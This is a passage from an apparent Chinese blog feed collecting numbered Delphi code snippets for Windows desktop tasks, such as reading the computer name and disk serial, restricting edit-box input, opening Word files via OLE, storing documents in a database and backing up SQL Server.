<P>&nbsp;function&nbsp;tform1.get_name:string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;&nbsp;ComputerName:&nbsp;PChar;&nbsp;&nbsp;size:&nbsp;DWord;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetMem(ComputerName,255);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size:=255;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;GetComputerName(ComputerName,size)=False&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=''<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=ComputerName;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeMem(ComputerName);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;label1.Caption:=get_name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(18).取得硬盘序列号。</STRONG></P>
<P>&nbsp;function&nbsp;tform1.GetHDSerialNumber:&nbsp;LongInt;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;WIN32}<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdw&nbsp;:&nbsp;pDWord;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mc,&nbsp;fl&nbsp;:&nbsp;dword;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;{$ENDIF}&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IfDef&nbsp;WIN32}&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;New(pdw);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetVolumeInformation('c:\',nil,0,pdw,mc,fl,nil,0);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;pdw^;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dispose(pdw);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$ELSE}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;GetWinFlags;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$ENDIF}&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;edit1.Text:=inttostr(gethdserialnumber);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(19).限定光标移动范围。&nbsp;</STRONG></P>
<P>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;rect1:trect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rect1:=button2.BoundsRect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mapwindowpoints(handle,0,rect1,2);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clipcursor(@rect1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button2Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;screenrect:trect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;screenrect:=rect(0,0,screen.Width,screen.Height);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clipcursor(@screenrect);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(20).限制edit框只能输入数</STRONG></P>
<P>&nbsp;&nbsp;procedure&nbsp;TForm1.Edit1KeyPress(Sender:&nbsp;TObject;&nbsp;var&nbsp;Key:&nbsp;Char);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;(key&nbsp;in&nbsp;['0'..'9','.',#8])&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key:=#0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Messagebeep(0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(21).dbgrid中根据任一条件某一格变色。&nbsp;</STRONG><BR><BR>procedure&nbsp;TForm_main.DBGridEh1DrawColumnCell(Sender:&nbsp;TObject;<BR>&nbsp;&nbsp;&nbsp;&nbsp;const&nbsp;Rect:&nbsp;TRect;&nbsp;DataCol:&nbsp;Integer;&nbsp;Column:&nbsp;TColumnEh;<BR>&nbsp;&nbsp;&nbsp;&nbsp;State:&nbsp;TGridDrawState);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(trim(DataModule1.ADOQuery1.FieldByName('dczt').AsString)='OK')&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;datacol=6&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbGrideh1.Canvas.Brush.Color:=clGradientActiveCaption;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbGrideh1.DefaultDrawColumnCell(Rect,datacol,column,state);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(22).打开word文件。</STRONG></P>
<P>procedure&nbsp;TfjfsglForm.SpeedButton4Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;MSWord:&nbsp;Variant;<BR>&nbsp;&nbsp;&nbsp;&nbsp;str:string;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;trim(DataModule1.adoquery27.fieldbyname('fjmc').asstring)&lt;&gt;''&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str:=trim(DataModule1.ADOQuery27.fieldbyname('fjmc').AsString);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord:=&nbsp;CreateOLEObject('Word.Application');//<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord.Documents.Open('d:\Program&nbsp;Files\Common&nbsp;Files\Sfa\'+str,&nbsp;True);//<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord.Visible:=1;//<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str:='';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord.ActiveDocument.Range(0,&nbsp;0);//<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord.ActiveDocument.Range.InsertAfter(str);//?úWord?D???ó×?·?'Title'<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSWord.ActiveDocument.Range.InsertParagraphAfter;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('');<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(23).word文件传入和传出数据库。</STRONG></P>
<P>&nbsp;uses&nbsp;IdGlobal;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TdjhyForm.SpeedButton2Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;sfilename:string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;BlobContentTostring(const&nbsp;Filename:string):string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;Tfilestream.Create(filename,fmopenread)&nbsp;&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlength(result,size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;read(pointer(result)^,size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;opendialog1.Execute&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sfilename:=opendialog1.FileName;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DataModule1.ADOQuery14.Edit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DataModule1.ADOQuery14.FieldByName('word').AsString:=blobcontenttostring(sfilename);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DataModule1.ADOQuery14.Post;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TdjhyForm.SpeedButton1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;sfilename:string;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bs:Tadoblobstream;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bs:=Tadoblobstream.Create(TBLOBfield(DataModule1.ADOQuery14.FieldByName('word')),bmread);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sfilename:=extractfilepath(application.ExeName)+trim(DataModule1.adoquery14.fieldbyname('hybh').AsString);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sfilename:=sfilename+'.'+'doc';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bs.SaveToFile(sfilename);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;djhyopenform:=Tdjhyopenform.Create(self);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;djhyopenform.olecontainer1.CreateObjectFromFile(sfilename,false);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;djhyopenform.OleContainer1.Iconic:=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;djhyopenform.ShowModal;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;djhyopenform.Free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bs.free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(24).中文标题的提示框。</STRONG></P>
<P>procedure&nbsp;TdjhyForm.SpeedButton5Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Application.MessageBox('',&nbsp;Mb_YesNo&nbsp;+&nbsp;Mb_IconWarning)&nbsp;=Id_yes&nbsp;then&nbsp;DataModule1.ADOQuery14.Delete;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(25).运行一应用程序文件。</STRONG></P>
<P>&nbsp;WinExec('HH.EXE&nbsp;D:\Program&nbsp;files\common&nbsp;files\MyshipperCRM&nbsp;e-sales&nbsp;help\MyshipperCRM&nbsp;e-sales&nbsp;help.chm',SW_NORMAL);<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=220" /> 
	  <id>http://www.openx.cn/default.asp?id=220</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[delphi 代码收集]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-22T16:35:31+08:00</updated>
	  <published>2006-02-22T16:35:31+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>(1).按下ctrl和其它键之后发生一事件。</STRONG><BR>&nbsp;<BR>procedure&nbsp;TForm1.FormKeyDown(Sender:&nbsp;TObject;&nbsp;var&nbsp;Key:&nbsp;Word;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shift:&nbsp;TShiftState);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ssCtrl&nbsp;in&nbsp;Shift)&nbsp;and&nbsp;(key&nbsp;=67)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('keydown&nbsp;Ctrl+C');<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(2).Dbgrid中用Enter键代替Tab键.&nbsp;</STRONG><BR><BR>procedure&nbsp;TForm1.DBGrid1KeyPress(Sender:&nbsp;TObject;&nbsp;var&nbsp;Key:&nbsp;Char);<BR>&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Key&nbsp;=&nbsp;#13&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;ActiveControl&nbsp;=&nbsp;DBGrid1&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TDBGrid(ActiveControl).SelectedIndex&nbsp;:=&nbsp;TDBGrid(ActiveControl).SelectedIndex&nbsp;+&nbsp;1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Key&nbsp;:=&nbsp;#0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(3).Dbgrid中选择多行发生一事件。</STRONG><BR>&nbsp;<BR>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;i:integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bookmarklist:Tbookmarklist;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bookmark:tbookmarkstr;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bookmark:=adoquery1.Bookmark;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bookmarklist:=dbgrid1.SelectedRows;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=0&nbsp;to&nbsp;bookmarklist.Count-1&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoquery1.Bookmark:=bookmarklist[i];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;adoquery1&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;edit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fieldbyname('mdg').AsString:=edit2.Text;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoquery1.Bookmark:=bookmark;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(4).Form的一个出现效果。</STRONG><BR><BR>&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;r:thandle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;i:integer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=1&nbsp;to&nbsp;trunc(width/1.414)&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r:=CreateEllipticRgn(trunc(width/2)-i,trunc(height/2)-i,trunc(width/2)+i,trunc(height/2)+i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetWindowRgn(handle,r,true);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.ProcessMessages;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(5).用Enter代替Tab在编辑框中移动隹点。</STRONG><BR>&nbsp;<BR>procedure&nbsp;TForm1.FormKeyPress(Sender:&nbsp;TObject;&nbsp;var&nbsp;Key:&nbsp;Char);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;key=#13&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;(Activecontrol&nbsp;is&nbsp;Tmemo)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;key:=#0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;keybd_event(vk_tab,mapvirtualkey(vk_tab,0),0,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(6).Progressbar加上色彩。</STRONG></P>
<P>&nbsp;const<BR>&nbsp;&nbsp;&nbsp;&nbsp;{$EXTERNALSYM&nbsp;PBS_MARQUEE}<BR>&nbsp;&nbsp;&nbsp;&nbsp;PBS_MARQUEE&nbsp;=&nbsp;08;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Form1:&nbsp;TForm1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;implementation<BR>&nbsp;&nbsp;&nbsp;&nbsp;{$R&nbsp;*.dfm}<BR>&nbsp;&nbsp;&nbsp;&nbsp;uses<BR>&nbsp;&nbsp;&nbsp;&nbsp;CommCtrl;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Set&nbsp;the&nbsp;Background&nbsp;color&nbsp;to&nbsp;teal<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Progressbar1.Brush.Color&nbsp;:=&nbsp;clTeal;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Set&nbsp;bar&nbsp;color&nbsp;to&nbsp;yellow<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendMessage(ProgressBar1.Handle,&nbsp;PBM_SETBARCOLOR,&nbsp;0,&nbsp;clYellow);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(7).住点移动时编辑框色彩不同。</STRONG></P>
<P>procedure&nbsp;TForm1.Edit1Enter(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(sender&nbsp;as&nbsp;tedit).Color:=clred;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.Edit1Exit(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(sender&nbsp;as&nbsp;tedit).Color:=clwhite;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR><BR><STRONG>(8).备份和恢复</STRONG></P>
<P>&nbsp;&nbsp;procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;OpenDialog1.Execute&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.Connected:=False;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.ConnectionString:='Provider=SQLOLEDB.1;Persist&nbsp;Security&nbsp;Info=False;User&nbsp;ID=sa;Initial&nbsp;Catalog=master;Data&nbsp;Source=FRIEND-YOFZKSCO;'+<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Use&nbsp;Procedure&nbsp;for&nbsp;Prepare=1;Auto&nbsp;Translate=True;Packet&nbsp;Size=4096;Workstation&nbsp;ID=FRIEND-YOFZKSCO;Use&nbsp;Encryption&nbsp;for&nbsp;Data=False;Tag&nbsp;with&nbsp;column&nbsp;collation&nbsp;when&nbsp;possible=False';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adoconnection1.Connected:=True;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;with&nbsp;adoQuery1&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Close;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL.Clear;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL.Add('Backup&nbsp;DataBase&nbsp;sfa&nbsp;to&nbsp;disk&nbsp;='''+opendialog1.FileName+'''');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExecSQL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage('±?·Yê§°ü');<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp